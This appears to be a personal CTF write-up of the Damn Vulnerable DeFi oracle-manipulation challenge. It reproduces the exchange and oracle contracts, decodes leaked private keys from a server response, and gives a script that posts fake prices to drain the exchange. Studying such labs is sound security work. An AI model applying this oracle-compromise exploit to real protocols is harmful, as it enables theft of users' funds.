Day 88
Code
Exchange
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";
/**
* @title Exchange
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract Exchange is ReentrancyGuard {
using Address for address payable;
DamnValuableNFT public immutable token;
TrustfulOracle public immutable oracle;
error InvalidPayment();
error SellerNotOwner(uint256 id);
error TransferNotApproved();
error NotEnoughFunds();
event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);
constructor(address _oracle) payable {
token = new DamnValuableNFT();
token.renounceOwnership();
oracle = TrustfulOracle(_oracle);
}
function buyOne() external payable nonReentrant returns (uint256 id) {
if (msg.value == 0)
revert InvalidPayment();
// Price should be in [wei / NFT]
uint256 price = oracle.getMedianPrice(token.symbol());
if (msg.value < price)
revert InvalidPayment();
id = token.safeMint(msg.sender);
unchecked {
payable(msg.sender).sendValue(msg.value - price);
}
emit TokenBought(msg.sender, id, price);
}
function sellOne(uint256 id) external nonReentrant {
if (msg.sender != token.ownerOf(id))
revert SellerNotOwner(id);
if (token.getApproved(id) != address(this))
revert TransferNotApproved();
// Price should be in [wei / NFT]
uint256 price = oracle.getMedianPrice(token.symbol());
if (address(this).balance < price)
revert NotEnoughFunds();
token.transferFrom(msg.sender, address(this), id);
token.burn(id);
payable(msg.sender).sendValue(price);
emit TokenSold(msg.sender, id, price);
}
receive() external payable {}
}
TrustfulOracle
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "solady/src/utils/LibSort.sol";
/**
* @title TrustfulOracle
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A price oracle with a number of trusted sources that individually report prices for symbols.
* The oracle's price for a given symbol is the median price of the symbol over all sources.
*/
contract TrustfulOracle is AccessControlEnumerable {
uint256 public constant MIN_SOURCES = 1;
bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");
// Source address => (symbol => price)
mapping(address => mapping(string => uint256)) private _pricesBySource;
error NotEnoughSources();
event UpdatedPrice(address indexed source, string indexed symbol, uint256 oldPrice, uint256 newPrice);
constructor(address[] memory sources, bool enableInitialization) {
if (sources.length < MIN_SOURCES)
revert NotEnoughSources();
for (uint256 i = 0; i < sources.length;) {
unchecked {
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
++i;
}
}
if (enableInitialization)
_setupRole(INITIALIZER_ROLE, msg.sender);
}
// A handy utility allowing the deployer to setup initial prices (only once)
function setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices)
external
onlyRole(INITIALIZER_ROLE)
{
// Only allow one (symbol, price) per source
require(sources.length == symbols.length && symbols.length == prices.length);
for (uint256 i = 0; i < sources.length;) {
unchecked {
_setPrice(sources[i], symbols[i], prices[i]);
++i;
}
}
renounceRole(INITIALIZER_ROLE, msg.sender);
}
function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) {
_setPrice(msg.sender, symbol, newPrice);
}
function getMedianPrice(string calldata symbol) external view returns (uint256) {
return _computeMedianPrice(symbol);
}
function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory prices) {
uint256 numberOfSources = getRoleMemberCount(TRUSTED_SOURCE_ROLE);
prices = new uint256[](numberOfSources);
for (uint256 i = 0; i < numberOfSources;) {
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
prices[i] = getPriceBySource(symbol, source);
unchecked { ++i; }
}
}
function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
return _pricesBySource[source][symbol];
}
function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = _pricesBySource[source][symbol];
_pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = getAllPricesForSymbol(symbol);
LibSort.insertionSort(prices);
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
}
TrustfulOracleInitializer
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { TrustfulOracle } from "./TrustfulOracle.sol";
/**
* @title TrustfulOracleInitializer
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrustfulOracleInitializer {
event NewTrustfulOracle(address oracleAddress);
TrustfulOracle public oracle;
constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices) {
oracle = new TrustfulOracle(sources, true);
oracle.setupInitialPrices(sources, symbols, initialPrices);
emit NewTrustfulOracle(address(oracle));
}
}
Breakdown
Given the length of each contract I've summarised key operations for each below:
Exchange :
⢠constructor(address _oracle)
this is used to initialise the contract with an address of the TrustfulOracle contract;
⢠buyOne()
is a function that allows users to buy DVNF tokens by sending Ether. Ensures payment is valid and mints tokens to the buyer;
⢠sellOne(uint256 id)
allows owners to sell DVNF tokens to the contract. Ensures ownership and approval before transferring tokens and Ether; and
⢠receive()
A fallback function to receive Ether.
TrustfulOracle
constructor(address[] memory sources, bool enableInitialization)
initializes the contract with trusted sources and optionally enables initialization;
setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices)
allows the deployer to set initial prices for symbols;
postPrice(string calldata symbol, uint256 newPrice)
trusted sources can post new prices for symbols;
getMedianPrice(string calldata symbol)
retrieves the median price for a symbol based on trusted source prices;
getAllPricesForSymbol(string memory symbol)
retrieves all reported prices for a symbol from trusted sources; and
getPriceBySource(string memory symbol, address source)
retrieves the price reported by a specific source for a symbol.
TrustfulOracleInitializer
constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices)
Initializes the contract with arrays of sources, symbols, and initial prices for a new Oracle contract.
Problem
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server.
Hereâs a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced) collectibles called âDVNFTâ, now at 999 ETH each.
This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.
Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.
Basically, the challenge is asking us to manipulate the price to buy a cheap NFT, then manipulate the price again to sell this NFT for a huge profit.
Solution
- Convert the hexadecimal code into UTF-8 text (I used this website);
- the strings are encoded in Base64, so we need to decode these Base64 strings into UTF-8 text (I'll save you the trouble):
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
- We can verify that these are private keys to the trusted accounts of the oracle. The below script can be deployed to allow us to use private keys to sign transactions and manipulate the oracle prices, which allow us to buy low and sell high to drain the exchange:
if('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
// HEX --> ASCI --> Base64 decode
const PKEY1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"
const PKEY2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"
const signer1 = new ethers.Wallet(PKEY1, ethers.provider);
const signer2 = new ethers.Wallet(PKEY2, ethers.provider);
// Set Price - 1 WEI, and buy the NFT
await oracle.connect(signer1).postPrice("DVNFT", 1);
await oracle.connect(signer2).postPrice("DVNFT", 1);
await exchange.connect(player).buyOne({ value: 1 });
// Set Price - 999ETH + 1 WEI, and sell the NFT ;)
await oracle.connect(signer1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE + BigInt(1));
await oracle.connect(signer2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE + BigInt(1));
await nftToken.connect(player).approve(exchange.address, 0);
await exchange.connect(player).sellOne(0);
// Restore Original Price
await oracle.connect(signer1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await oracle.connect(signer2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
});
The script flow is:
- We create 2 wallet objects using the obtained private keys;
- We post a very low price from these wallets;
- We buy 1 NFT for a low price;
- We post a very high price with the hacked wallets; and
- We sell the NFTs back to the exchange for a very high price and we drain the exchangeâs ETH!